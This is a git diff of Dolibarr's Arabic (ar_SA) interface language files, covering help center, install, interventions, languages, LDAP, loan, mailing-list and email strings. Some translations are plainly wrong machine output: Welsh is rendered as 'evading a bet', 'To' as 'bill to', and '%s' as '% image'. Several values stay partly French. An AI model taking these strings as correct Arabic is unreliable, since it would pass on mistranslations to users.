الفعلي / عن بُعد OtherSupport=دعم آخر ToSeeListOfAvailableRessources=للاتصال / الاطلاع على الموارد المتاحة: -HelpCenter=Help Center -DolibarrHelpCenter=Dolibarr Help and Support Center -ToGoBackToDolibarr=Otherwise, click here to continue to use Dolibarr. -TypeOfSupport=Type of support +HelpCenter=مركز المساعدة +DolibarrHelpCenter=مركز المساعدة والدعم Dolibarr +ToGoBackToDolibarr=خلاف ذلك ، انقر هنا لمواصلة استخدام Dolibarr . +TypeOfSupport=نوع الدعم TypeSupportCommunauty=المجتمع (مجاني) TypeSupportCommercial=تجاري TypeOfHelp=نوع @@ -15,9 +15,9 @@ NeedHelpCenter=هل تحتاج إلى مساعدة أو دعم؟ Efficiency=الكفاءة TypeHelpOnly=المساعدة فقط TypeHelpDev=مساعدة + التنمية -TypeHelpDevForm=Help+Development+Training -BackToHelpCenter=Otherwise, go back to Help center home page. +TypeHelpDevForm=مساعدة + تطوير + تدريب +BackToHelpCenter=خلاف ذلك ، ارجع إلى الصفحة الرئيسية لمركز المساعدة . LinkToGoldMember=يمكنك اختيار احد المدربين المختارين مسبقا بواسطة دوليبار من اجل لغتك (1%s) بالضغط على البريمج الخاص بهم (يتم تحديث الحالة والحد الاعلى للسعر تلقائياً) PossibleLanguages=اللغات المدعومة -SubscribeToFoundation=Help the Dolibarr project, subscribe to the foundation -SeeOfficalSupport=للحصول على دعم رسمي من دوليبار بلغتك:
      %s +SubscribeToFoundation=ساعد مشروع Dolibarr ، اشترك في المؤسسة +SeeOfficalSupport=للحصول على دعم Dolibarr الرسمي بلغتك:
      %s diff --git a/htdocs/langs/ar_SA/install.lang b/htdocs/langs/ar_SA/install.lang index cbe4aa51b37..a22612e5faf 100644 --- a/htdocs/langs/ar_SA/install.lang +++ b/htdocs/langs/ar_SA/install.lang @@ -28,6 +28,7 @@ ErrorPHPVersionTooLow=إصدار PHP قديم جدًا. مطلوب إصدار %s ErrorPHPVersionTooHigh=إصدار PHP مرتفع جدًا. مطلوب إصدار %s أو أقل. ErrorConnectedButDatabaseNotFound=الاتصال بالخادم ناجح ولكن قاعدة البيانات "%s" غير موجودة. ErrorDatabaseAlreadyExists=قاعدة البيانات '٪ ق' موجود بالفعل. +ErrorNoMigrationFilesFoundForParameters=No migration file found for the selected versions IfDatabaseNotExistsGoBackAndUncheckCreate=إذا كانت قاعدة البيانات غير موجودة ، فارجع وحدد الخيار "إنشاء قاعدة بيانات". IfDatabaseExistsGoBackAndCheckCreate=إذا كانت قاعدة البيانات موجود بالفعل ، من العودة وإلغاء "إنشاء قاعدة بيانات" الخيار. WarningBrowserTooOld=إصدار المتصفح قديم جدًا. يوصى بشدة بترقية متصفحك إلى إصدار حديث من Firefox أو Chrome أو Opera. @@ -50,7 +51,6 @@ DatabaseName=اسم قاعدة البيانات DatabasePrefix=بادئة جدول قاعدة البيانات DatabasePrefixDescription=بادئة جدول قاعدة البيانات. إذا كانت فارغة ، يتم تعيينها افتراضيًا على llx_. AdminLogin=حساب المستخدم لمالك قاعدة بيانات Dolibarr. -PasswordAgain=أعد كتابة كلمة المرور AdminPassword=Dolibarr كلمة السر لمدير قاعدة البيانات. تبقي فارغة إذا لم يذكر اسمه في اتصال CreateDatabase=إنشاء قاعدة بيانات CreateUser=قم بإنشاء حساب مستخدم أو منح إذن حساب المستخدم على قاعدة بيانات Dolibarr @@ -88,7 +88,7 @@ LoginAlreadyExists=موجود بالفعل DolibarrAdminLogin=ادخل Dolibarr مشرف AdminLoginAlreadyExists=حساب مسؤول Dolibarr ' %s ' موجود بالفعل. ارجع إذا كنت تريد إنشاء واحدة أخرى. FailedToCreateAdminLogin=Failed to create Dolibarr administrator account. -WarningRemoveInstallDir=تحذير ، لأسباب أمنية ، بمجرد اكتمال التثبيت أو الترقية ، يجب إضافة ملف يسمى install.lock في دليل مستندات Dolibarr من أجل منع الاستخدام العرضي / الضار لأدوات التثبيت مرة أخرى. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=غير متوفر في PHP هذا ChoosedMigrateScript=اختار الهجرة سكريبت DataMigration=ترحيل قاعدة البيانات (البيانات) @@ -208,7 +208,12 @@ HideNotAvailableOptions=إخفاء الخيارات غير المتاحة ErrorFoundDuringMigration=تم الإبلاغ عن خطأ (أخطاء) أثناء عملية الترحيل ، لذا فإن الخطوة التالية غير متاحة. لتجاهل الأخطاء ، يمكنك النقر هنا ، لكن التطبيق أو بعض الميزات قد لا تعمل بشكل صحيح حتى يتم حل الأخطاء. YouTryInstallDisabledByDirLock=حاول التطبيق الترقية الذاتية ، ولكن تم تعطيل صفحات التثبيت / الترقية للأمان (تمت إعادة تسمية الدليل بلاحقة .lock).
      YouTryInstallDisabledByFileLock=حاول التطبيق الترقية الذاتية ، ولكن تم تعطيل صفحات التثبيت / الترقية للأمان (من خلال وجود ملف قفل install.lock في دليل مستندات dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=انقر هنا للذهاب إلى التطبيق الخاص بك ClickOnLinkOrRemoveManualy=إذا كانت الترقية قيد التقدم ، يرجى الانتظار. إذا لم يكن كذلك ، انقر فوق الارتباط التالي. إذا كنت ترى نفس الصفحة دائمًا ، فيجب عليك إزالة / إعادة تسمية الملف install.lock في دليل المستندات. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=محمل FunctionTest=اختبار الوظيفة +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/ar_SA/interventions.lang b/htdocs/langs/ar_SA/interventions.lang index 2412062f9e9..d41c5ad78b2 100644 --- a/htdocs/langs/ar_SA/interventions.lang +++ b/htdocs/langs/ar_SA/interventions.lang @@ -4,10 +4,10 @@ Interventions=المداخلات InterventionCard=تدخل البطاقة NewIntervention=التدخل الجديدة AddIntervention=إنشاء التدخل -ChangeIntoRepeatableIntervention=Change to repeatable intervention +ChangeIntoRepeatableIntervention=التغيير إلى التدخل المتكرر ListOfInterventions=قائمة التدخلات ActionsOnFicheInter=إجراءات على التدخل -LastInterventions=Latest %s interventions +LastInterventions=أحدث تدخلات %s AllInterventions=كل التدخلات CreateDraftIntervention=إنشاء مشروع InterventionContact=التدخل الاتصال @@ -15,54 +15,58 @@ DeleteIntervention=حذف التدخل ValidateIntervention=تحقق من التدخل ModifyIntervention=تعديل التدخل DeleteInterventionLine=حذف السطر التدخل -ConfirmDeleteIntervention=Are you sure you want to delete this intervention? -ConfirmValidateIntervention=Are you sure you want to validate this intervention under name %s? -ConfirmModifyIntervention=Are you sure you want to modify this intervention? -ConfirmDeleteInterventionLine=Are you sure you want to delete this intervention line? -ConfirmCloneIntervention=Are you sure you want to clone this intervention? -NameAndSignatureOfInternalContact=Name and signature of intervening: -NameAndSignatureOfExternalContact=Name and signature of customer: +ConfirmDeleteIntervention=هل أنت متأكد أنك تريد حذف هذا التدخل؟ +ConfirmValidateIntervention=هل أنت متأكد من أنك تريد التحقق من صحة هذا التدخل تحت الاسم %s ؟ +ConfirmModifyIntervention=هل أنت متأكد أنك تريد تعديل هذا التدخل؟ +ConfirmDeleteInterventionLine=هل أنت متأكد أنك تريد حذف سطر التدخل هذا؟ +ConfirmCloneIntervention=هل أنت متأكد أنك تريد استنساخ هذا التدخل؟ +NameAndSignatureOfInternalContact=اسم المتدخل وتوقيعه: +NameAndSignatureOfExternalContact=اسم وتوقيع العميل: DocumentModelStandard=نموذج وثيقة موحدة للتدخلات InterventionCardsAndInterventionLines=التدخلات وخطوط التدخلات InterventionClassifyBilled=تصنيف "المفوتر" InterventionClassifyUnBilled=تصنيف "فواتير" -InterventionClassifyDone=Classify "Done" +InterventionClassifyDone=تصنيف "تم" StatusInterInvoiced=فواتير SendInterventionRef=تقديم التدخل٪ الصورة -SendInterventionByMail=Send intervention by email +SendInterventionByMail=أرسل المداخلة عبر البريد الإلكتروني InterventionCreatedInDolibarr=التدخل٪ الصورة خلقت InterventionValidatedInDolibarr=التدخل%s التأكد من صلاحيتها InterventionModifiedInDolibarr=التدخل٪ الصورة المعدلة InterventionClassifiedBilledInDolibarr=التدخل٪ الصورة كما وصفت مجموعة InterventionClassifiedUnbilledInDolibarr=التدخل٪ الصورة مجموعة كما فواتير -InterventionSentByEMail=Intervention %s sent by email +InterventionSentByEMail=تم إرسال التدخل %s عبر البريد الإلكتروني InterventionDeletedInDolibarr=التدخل٪ الصورة حذفها InterventionsArea=منطقة التدخلات DraftFichinter=مشروع التدخلات LastModifiedInterventions=Latest %s modified interventions -FichinterToProcess=Interventions to process +FichinterToProcess=التدخلات للعملية TypeContact_fichinter_external_CUSTOMER=متابعة العملاء الاتصال -PrintProductsOnFichinter=Print also lines of type "product" (not only services) on intervention card +PrintProductsOnFichinter=اطبع أيضًا سطورًا من نوع "المنتج" (وليس الخدمات فقط) على بطاقة التدخل PrintProductsOnFichinterDetails=التدخلات المتولدة من أوامر -UseServicesDurationOnFichinter=Use services duration for interventions generated from orders -UseDurationOnFichinter=Hides the duration field for intervention records -UseDateWithoutHourOnFichinter=Hides hours and minutes off the date field for intervention records -InterventionStatistics=Statistics of interventions -NbOfinterventions=No. of intervention cards -NumberOfInterventionsByMonth=No. of intervention cards by month (date of validation) -AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). Add option PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT to 1 into home-setup-other to include them. +UseServicesDurationOnFichinter=استخدام مدة الخدمات للتدخلات الناتجة عن الأوامر +UseDurationOnFichinter=يخفي حقل المدة لسجلات التدخل +UseDateWithoutHourOnFichinter=يخفي الساعات والدقائق خارج حقل التاريخ لسجلات التدخل +InterventionStatistics=إحصائيات التدخلات +NbOfinterventions=عدد بطاقات التدخل +NumberOfInterventionsByMonth=عدد بطاقات التدخل بالشهر (تاريخ المصادقة) +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=تدخل معرف InterRef=تدخل المرجع. InterDateCreation=تدخل تاريخ الإنشاء InterDuration=تدخل مدة InterStatus=التدخل الوضع InterNote=ملاحظة التدخل -InterLine=Line of intervention +InterLine=خط التدخل InterLineId=تدخل معرف الخط InterLineDate=تدخل تاريخ الخط InterLineDuration=تدخل مدة خط InterLineDesc=خط وصف التدخل -RepeatableIntervention=Template of intervention -ToCreateAPredefinedIntervention=To create a predefined or recurring intervention, create a common intervention and convert it into intervention template -ConfirmReopenIntervention=Are you sure you want to open back the intervention %s? -GenerateInter=Generate intervention +RepeatableIntervention=نموذج التدخل +ToCreateAPredefinedIntervention=لإنشاء تدخل محدد مسبقًا أو متكرر ، قم بإنشاء تدخل مشترك وقم بتحويله إلى قالب تدخل +ConfirmReopenIntervention=هل أنت متأكد أنك تريد فتح تدخل %s ؟ +GenerateInter=توليد التدخل +FichinterNoContractLinked=تم إنشاء التدخل %s بدون عقد مرتبط. +ErrorFicheinterCompanyDoesNotExist=الشركة غير موجودة. لم يتم إنشاء التدخل. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/ar_SA/intracommreport.lang b/htdocs/langs/ar_SA/intracommreport.lang index a95f6d10e9e..01d5beaad7b 100644 --- a/htdocs/langs/ar_SA/intracommreport.lang +++ b/htdocs/langs/ar_SA/intracommreport.lang @@ -1,40 +1,40 @@ -Module68000Name = Intracomm report -Module68000Desc = Intracomm report management (Support for French DEB/DES format) -IntracommReportSetup = Intracommreport module setup -IntracommReportAbout = About intracommreport +Module68000Name = تقرير إنتراكوم +Module68000Desc = إدارة تقارير Intracomm (دعم تنسيق DEB / DES الفرنسي) +IntracommReportSetup = إعداد وحدة Intracommreport +IntracommReportAbout = حول التقرير الداخلي # Setup INTRACOMMREPORT_NUM_AGREMENT=Numéro d'agrément (délivré par le CISD de rattachement) -INTRACOMMREPORT_TYPE_ACTEUR=Type d'acteur +INTRACOMMREPORT_TYPE_ACTEUR=النوع الفاعل INTRACOMMREPORT_ROLE_ACTEUR=Rôle joué par l'acteur -INTRACOMMREPORT_NIV_OBLIGATION_INTRODUCTION=Niveau d'obligation sur les introductions +INTRACOMMREPORT_NIV_OBLIGATION_INTRODUCTION=Niveau d'obligation sur les مقدمات INTRACOMMREPORT_NIV_OBLIGATION_EXPEDITION=Niveau d'obligation sur les expéditions INTRACOMMREPORT_CATEG_FRAISDEPORT=Catégorie de services de type "Frais de port" INTRACOMMREPORT_NUM_DECLARATION=Numéro de déclarant # Menu -MenuIntracommReport=Intracomm report -MenuIntracommReportNew=New declaration +MenuIntracommReport=تقرير إنتراكوم +MenuIntracommReportNew=إعلان جديد MenuIntracommReportList=قائمة # View -NewDeclaration=New declaration -Declaration=Declaration -AnalysisPeriod=Analysis period -TypeOfDeclaration=Type of declaration -DEB=Goods exchange declaration (DEB) -DES=Services exchange declaration (DES) +NewDeclaration=إعلان جديد +Declaration=إعلان +AnalysisPeriod=فترة التحليل +TypeOfDeclaration=نوع التصريح +DEB=إقرار تبادل البضائع (DEB) +DES=تصريح تبادل الخدمات (DES) # Export page -IntracommReportTitle=Preparation of an XML file in ProDouane format +IntracommReportTitle=تحضير ملف XML بتنسيق ProDouane # List -IntracommReportList=List of generated declarations -IntracommReportNumber=Numero of declaration -IntracommReportPeriod=Period of nalysis -IntracommReportTypeDeclaration=Type of declaration -IntracommReportDownload=download XML file +IntracommReportList=قائمة الإعلانات التي تم إنشاؤها +IntracommReportNumber=نوميرو من التصريح +IntracommReportPeriod=فترة التحليل +IntracommReportTypeDeclaration=نوع التصريح +IntracommReportDownload=تنزيل ملف XML # Invoice -IntracommReportTransportMode=Transport mode +IntracommReportTransportMode=وضع النقل diff --git a/htdocs/langs/ar_SA/languages.lang b/htdocs/langs/ar_SA/languages.lang index 66358c46f8e..b8bbd60563f 100644 --- a/htdocs/langs/ar_SA/languages.lang +++ b/htdocs/langs/ar_SA/languages.lang @@ -1,27 +1,32 @@ # Dolibarr language file - Source file is en_US - languages Language_am_ET=إثيوبي Language_ar_AR=العربية -Language_ar_DZ=Arabic (Algeria) +Language_ar_DZ=العربية (الجزائر) Language_ar_EG=العربية (مصر) -Language_ar_MA=Arabic (Moroco) +Language_ar_JO=العربية (الأردنية) +Language_ar_MA=العربية (المغرب) Language_ar_SA=العربية -Language_ar_TN=Arabic (Tunisia) -Language_ar_IQ=Arabic (Iraq) -Language_as_IN=Assamese +Language_ar_TN=العربية (تونس) +Language_ar_IQ=العربية (العراق) +Language_as_IN=الأسامية Language_az_AZ=أذربيجان Language_bn_BD=بنغالي Language_bn_IN=البنغالية (الهند) Language_bg_BG=البلغارية +Language_bo_CN=التبتية Language_bs_BA=البوسنية Language_ca_ES=كاتالاني Language_cs_CZ=تشيكي +Language_cy_GB=تهرب من دفع الرهان Language_da_DA=الدانمركية Language_da_DK=دانماركي Language_de_DE=اللغة الألمانية Language_de_AT=الألمانية (النمسا) Language_de_CH=الألمانية (سويسرا) +Language_de_LU=German (Luxembourg) Language_el_GR=يوناني Language_el_CY=اليونانية (قبرص) +Language_en_AE=الإنجليزية (الإمارات العربية المتحدة) Language_en_AU=الإنكليزية (أستراليا) Language_en_CA=الإنكليزية (كندا) Language_en_GB=الانجليزية (المملكة المتحدة) @@ -31,11 +36,13 @@ Language_en_SA=الإنجليزية (المملكة العربية السعود Language_en_SG=الإنجليزية (سنغافورة) Language_en_US=الإنكليزية (الولايات المتحدة) Language_en_ZA=الإنكليزية (جنوب أفريقيا) +Language_en_ZW=English (Zimbabwe) Language_es_ES=الأسبانية Language_es_AR=الأسبانية (الأرجنتين) Language_es_BO=الأسبانية (بوليفيا) Language_es_CL=الإسبانية (تشيلي) Language_es_CO=الأسبانية (كولومبيا) +Language_es_CR=الأسبانية (كوستاريكا) Language_es_DO=الأسبانية (جمهورية الدومنيكان) Language_es_EC=الإسبانية (إكوادور) Language_es_GT=الإسبانية (غواتيمالا) @@ -74,7 +81,7 @@ Language_it_IT=الإيطالي Language_it_CH=الإيطالية (سويسرا) Language_ja_JP=اليابانية Language_ka_GE=الجورجية -Language_kk_KZ=Kazakh +Language_kk_KZ=الكازاخستانية Language_km_KH=الخمير Language_kn_IN=الكانادا Language_ko_KR=الكورية @@ -83,19 +90,22 @@ Language_lt_LT=اللتوانية Language_lv_LV=اللاتفية Language_mk_MK=المقدونية Language_mn_MN=المنغولية +Language_my_MM=البورمية Language_nb_NO=النرويجية (بوكمال) Language_ne_NP=النيبالية Language_nl_BE=الهولندية (بلجيكا) Language_nl_NL=اللغة الهولندية Language_pl_PL=بولندي -Language_pt_AO=Portuguese (Angola) +Language_pt_AO=البرتغالية (أنغولا) +Language_pt_MZ=البرتغالية (موزمبيق) Language_pt_BR=البرتغالية (البرازيل) Language_pt_PT=البرتغالية -Language_ro_MD=Romanian (Moldavia) +Language_ro_MD=الرومانية (مولدافيا) Language_ro_RO=الرومانية Language_ru_RU=الروسية Language_ru_UA=الروسية (أوكرانيا) -Language_tg_TJ=Tajik +Language_ta_IN=التاميل +Language_tg_TJ=طاجيك Language_tr_TR=التركية Language_sl_SI=السلوفينية Language_sv_SV=السويدية @@ -103,9 +113,11 @@ Language_sv_SE=السويدية Language_sq_AL=الألبانية Language_sk_SK=السلوفاكية Language_sr_RS=صربي +Language_sw_KE=Swahili Language_sw_SW=السواحيلية Language_th_TH=التايلاندية Language_uk_UA=الأوكراني +Language_ur_PK=الأردية Language_uz_UZ=الأوزبكي Language_vi_VN=الفيتنامية Language_zh_CN=الصينية diff --git a/htdocs/langs/ar_SA/ldap.lang b/htdocs/langs/ar_SA/ldap.lang index b84a13ba7a7..0f2fab0c304 100644 --- a/htdocs/langs/ar_SA/ldap.lang +++ b/htdocs/langs/ar_SA/ldap.lang @@ -25,3 +25,7 @@ ContactSynchronized=تمت مزامنة جهة الاتصال ForceSynchronize=إجبار التزامن بين دوليبار و خادم الوصول الخفيف للأدلة ErrorFailedToReadLDAP=فشل في قراءة قاعدة بيانات خادم الوصول الخفيف للأدلة. راجع إعدادات وحدة خادم الوصول الخفيف للأدلة، وإمكانية الوصول إلى قاعدة البيانات. PasswordOfUserInLDAP=كلمة سر المستخدم في خادم الوصول الخفيف للأدلة +LDAPPasswordHashType=نوع تجزئة كلمة المرور +LDAPPasswordHashTypeExample=نوع تجزئة كلمة المرور المستخدمة على الخادم +SupportedForLDAPExportScriptOnly=مدعوم فقط من خلال برنامج نصي للتصدير ldap +SupportedForLDAPImportScriptOnly=مدعوم فقط بواسطة برنامج نصي للاستيراد ldap diff --git a/htdocs/langs/ar_SA/loan.lang b/htdocs/langs/ar_SA/loan.lang index c2caa6426d9..5a01f71a4ab 100644 --- a/htdocs/langs/ar_SA/loan.lang +++ b/htdocs/langs/ar_SA/loan.lang @@ -24,11 +24,11 @@ FinancialCommitment=التزام مالي InterestAmount=اهتمام CapitalRemain=يبقى رأس المال TermPaidAllreadyPaid = هذا المصطلح مدفوع بالفعل -CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with a payment started +CantUseScheduleWithLoanStartedToPaid = لا يمكن إنشاء مخطط زمني لقرض بدفعة بدأت CantModifyInterestIfScheduleIsUsed = لا يمكنك تعديل الفائدة إذا كنت تستخدم الجدول الزمني # Admin ConfigLoan=التكوين للقرض وحدة -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Accounting account capital by default -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Accounting account interest by default -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Accounting account insurance by default +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=تحرير الالتزام المالي diff --git a/htdocs/langs/ar_SA/mailmanspip.lang b/htdocs/langs/ar_SA/mailmanspip.lang index 1cc0c530fe8..09a761fd3ca 100644 --- a/htdocs/langs/ar_SA/mailmanspip.lang +++ b/htdocs/langs/ar_SA/mailmanspip.lang @@ -1,27 +1,27 @@ # Dolibarr language file - Source file is en_US - mailmanspip -MailmanSpipSetup=ساعي البريد و تركيب نموذج SPIP -MailmanTitle=القائمة البريدية ميلمان النظام -TestSubscribe=لاختبار الاشتراك في قوائم ميلمان +MailmanSpipSetup=إعداد وحدة البريد و SPIP +MailmanTitle=نظام القائمة البريدية ميلمان +TestSubscribe=لاختبار الاشتراك في قوائم البريد TestUnSubscribe=لاختبار إلغاء الاشتراك من قوائم ساعي البريد -MailmanCreationSuccess=Subscription test was executed successfully -MailmanDeletionSuccess=Unsubscription test was executed successfully -SynchroMailManEnabled=سيتم تنفيذ عملية تحديث ميلمان -SynchroSpipEnabled=سيتم تنفيذ عملية تحديث SPIP -DescADHERENT_MAILMAN_ADMINPW=ساعي البريد مرور مسؤول -DescADHERENT_MAILMAN_URL=URL للاشتراكات ساعي البريد -DescADHERENT_MAILMAN_UNSUB_URL=URL للunsubscriptions ساعي البريد -DescADHERENT_MAILMAN_LISTS=قائمة ل نقش التلقائي للأعضاء الجدد (مفصولة بفواصل) +MailmanCreationSuccess=تم تنفيذ اختبار الاشتراك بنجاح +MailmanDeletionSuccess=تم تنفيذ اختبار إلغاء الاشتراك بنجاح +SynchroMailManEnabled=سيتم تنفيذ تحديث ميلمان +SynchroSpipEnabled=سيتم تنفيذ تحديث SPIP +DescADHERENT_MAILMAN_ADMIN_PASSWORD=كلمة مرور ساعيالبريد +DescADHERENT_MAILMAN_URL=عنوان URL لاشتراكات ساعي البريد +DescADHERENT_MAILMAN_UNSUB_URL=عنوان URL لإلغاء اشتراكات ساعي البريد +DescADHERENT_MAILMAN_LISTS=قائمة (قوائم) التسجيل التلقائي للأعضاء الجدد (مفصولة بفواصل) SPIPTitle=SPIP نظام إدارة المحتوى -DescADHERENT_SPIP_SERVEUR=SPIP خادم -DescADHERENT_SPIP_DB=SPIP اسم قاعدة البيانات -DescADHERENT_SPIP_USER=قاعدة بيانات SPIP تسجيل الدخول -DescADHERENT_SPIP_PASS=SPIP كلمة مرور قاعدة البيانات +DescADHERENT_SPIP_SERVEUR=خادم SPIP +DescADHERENT_SPIP_DB=اسم قاعدة بيانات SPIP +DescADHERENT_SPIP_USER=معلومات تسجيل الدخول إلى قاعدة بيانات SPIP  +DescADHERENT_SPIP_PASS=كلمة مرور قاعدة بيانات SPIP  AddIntoSpip=إضافة إلى SPIP AddIntoSpipConfirmation=هل أنت متأكد أنك تريد إضافة هذا العضو إلى SPIP؟ AddIntoSpipError=فشل في إضافة المستخدم في SPIP DeleteIntoSpip=إزالة من SPIP DeleteIntoSpipConfirmation=هل أنت متأكد أنك تريد إزالة هذا العضو من SPIP؟ -DeleteIntoSpipError=فشل في قمع المستخدم من SPIP -SPIPConnectionFailed=فشل الاتصال SPIP -SuccessToAddToMailmanList=%s successfully added to mailman list %s or SPIP database -SuccessToRemoveToMailmanList=%s successfully removed from mailman list %s or SPIP database +DeleteIntoSpipError=فشل في حظر المستخدم من SPIP +SPIPConnectionFailed=فشل الاتصال بـ SPIP +SuccessToAddToMailmanList=تمت إضافة %s بنجاح إلى قائمة ساعي البريد %s أو قاعدة بيانات SPIP +SuccessToRemoveToMailmanList=%s تمت إزالته بنجاح من قائمة ساعي البريد %s أو قاعدة بيانات SPIP diff --git a/htdocs/langs/ar_SA/mails.lang b/htdocs/langs/ar_SA/mails.lang index 79b34553d19..bade48937a4 100644 --- a/htdocs/langs/ar_SA/mails.lang +++ b/htdocs/langs/ar_SA/mails.lang @@ -7,20 +7,20 @@ MailCard=بطاقة الإنترنت MailRecipients=المستفيدون MailRecipient=المتلقي MailTitle=العنوان -MailFrom=مرسل +MailFrom=من MailErrorsTo=الأخطاء MailReply=وردا على -MailTo=جهاز الاستقبال (ق) -MailToUsers=To user(s) +MailTo=فاتورة الى: +MailToUsers=إلى مستخدم (ق) MailCC=نسخة إلى -MailToCCUsers=Copy to users(s) +MailToCCUsers=نسخ للمستخدمين MailCCC=نسخة إلى نسخة -MailTopic=Email subject +MailTopic=موضوع البريد الإلكتروني MailText=رسالة MailFile=الملفات المرفقة MailMessage=هيئة البريد الإلكتروني -SubjectNotIn=Not in Subject -BodyNotIn=Not in Body +SubjectNotIn=ليس في الموضوع +BodyNotIn=ليس في الجسد ShowEMailing=وتظهر مراسلة ListOfEMailings=قائمة emailings NewMailing=مراسلة جديدة @@ -47,20 +47,20 @@ MailingStatusReadAndUnsubscribe=Read and unsubscribe ErrorMailRecipientIsEmpty=البريد الإلكتروني المتلقي فارغة WarningNoEMailsAdded=بريد الكتروني جديدة تضاف الى قائمة المتلقي. ConfirmValidMailing=Are you sure you want to validate this emailing? -ConfirmResetMailing=Warning, by re-initializing emailing %s, you will allow the re-sending this email in a bulk mailing. Are you sure you want to do this? -ConfirmDeleteMailing=Are you sure you want to delete this emailing? -NbOfUniqueEMails=No. of unique emails -NbOfEMails=No. of EMails +ConfirmResetMailing=تحذير ، من خلال إعادة تهيئة البريد الإلكتروني %s ، ستسمح بإعادة إرسال هذا البريد الإلكتروني في بريد مجمع. هل انت متأكد من أنك تريد أن تفعل هذا؟ +ConfirmDeleteMailing=هل أنت متأكد أنك تريد حذف هذا البريد الإلكتروني؟ +NbOfUniqueEMails=عدد رسائل البريد الإلكتروني الفريدة +NbOfEMails=عدد رسائل البريد الإلكتروني TotalNbOfDistinctRecipients=عدد المستفيدين متميزة NoTargetYet=ولم يعرف بعد المستفيدين (الذهاب على تبويبة 'المتلقين) -NoRecipientEmail=No recipient email for %s +NoRecipientEmail=لا يوجد بريد إلكتروني للمستلم لـ %s RemoveRecipient=إزالة المتلقية YouCanAddYourOwnPredefindedListHere=البريد الإلكتروني الخاص بك لإنشاء وحدة منتق ، انظر htdocs / تضم / وحدات / الرسائل / إقرأني. EMailTestSubstitutionReplacedByGenericValues=عند استخدام طريقة الاختبار ، واستبدال المتغيرات العامة الاستعاضة عن القيم MailingAddFile=يرفق هذا الملف NoAttachedFiles=ولا الملفات المرفقة -BadEMail=Bad value for Email -EMailNotDefined=Email not defined +BadEMail=قيمة سيئة للبريد الإلكتروني +EMailNotDefined=لم يتم تعريف البريد الإلكتروني ConfirmCloneEMailing=Are you sure you want to clone this emailing? CloneContent=استنساخ الرسالة CloneReceivers=شبيه المستفيدين @@ -68,32 +68,32 @@ DateLastSend=Date of latest sending DateSending=تاريخ إرسال SentTo=إرسالها إلى %s MailingStatusRead=قرأ -YourMailUnsubcribeOK=The email %s is correctly unsubscribe from mailing list -ActivateCheckReadKey=Key used to encrypt URL used for "Read Receipt" and "Unsubscribe" feature -EMailSentToNRecipients=Email sent to %s recipients. -EMailSentForNElements=Email sent for %s elements. +YourMailUnsubcribeOK=البريد الإلكتروني %s بشكل صحيح إلغاء الاشتراك من القائمة البريدية +ActivateCheckReadKey=المفتاح المستخدم لتشفير URL المستخدم لميزة "إيصال القراءة" و "إلغاء الاشتراك" +EMailSentToNRecipients=تم إرسال بريد إلكتروني إلى مستلمي %s. +EMailSentForNElements=تم إرسال بريد إلكتروني لعناصر %s. XTargetsAdded=وأضاف المتلقين٪ الصورة إلى قائمة المستهدفين -OnlyPDFattachmentSupported=If the PDF documents were already generated for the objects to send, they will be attached to email. If not, no email will be sent (also, note that only pdf documents are supported as attachments in mass sending in this version). -AllRecipientSelected=The recipients of the %s record selected (if their email is known). -GroupEmails=Group emails -OneEmailPerRecipient=One email per recipient (by default, one email per record selected) -WarningIfYouCheckOneRecipientPerEmail=Warning, if you check this box, it means only one email will be sent for several different record selected, so, if your message contains substitution variables that refers to data of a record, it becomes not possible to replace them. -ResultOfMailSending=Result of mass Email sending -NbSelected=Number selected -NbIgnored=Number ignored -NbSent=Number sent -SentXXXmessages=%s message(s) sent. +OnlyPDFattachmentSupported=إذا تم إنشاء مستندات PDF بالفعل لإرسال الكائنات ، فسيتم إرفاقها بالبريد الإلكتروني. إذا لم يكن الأمر كذلك ، فلن يتم إرسال بريد إلكتروني (أيضًا ، لاحظ أن مستندات pdf فقط مدعومة كمرفقات في الإرسال الجماعي في هذا الإصدار). +AllRecipientSelected=تم تحديد مستلمي السجل %s (إذا كان بريدهم الإلكتروني معروفًا). +GroupEmails=رسائل البريد الإلكتروني الجماعية +OneEmailPerRecipient=بريد إلكتروني واحد لكل مستلم (افتراضيًا ، يتم تحديد بريد إلكتروني واحد لكل سجل) +WarningIfYouCheckOneRecipientPerEmail=تحذير ، إذا قمت بتحديد هذا المربع ، فهذا يعني أنه سيتم إرسال بريد إلكتروني واحد فقط لعدة سجلات مختلفة محددة ، لذلك ، إذا كانت رسالتك تحتوي على متغيرات الاستبدال التي تشير إلى بيانات السجل ، فلن يكون من الممكن استبدالها. +ResultOfMailSending=نتيجة إرسال جماعي للبريد الإلكتروني +NbSelected=الرقم المحدد +NbIgnored=تم تجاهل الرقم +NbSent=تم إرسال الرقم +SentXXXmessages=تم إرسال رسالة (رسائل) %s. ConfirmUnvalidateEmailing=Are you sure you want to change email %s to draft status? MailingModuleDescContactsWithThirdpartyFilter=Contact with customer filters 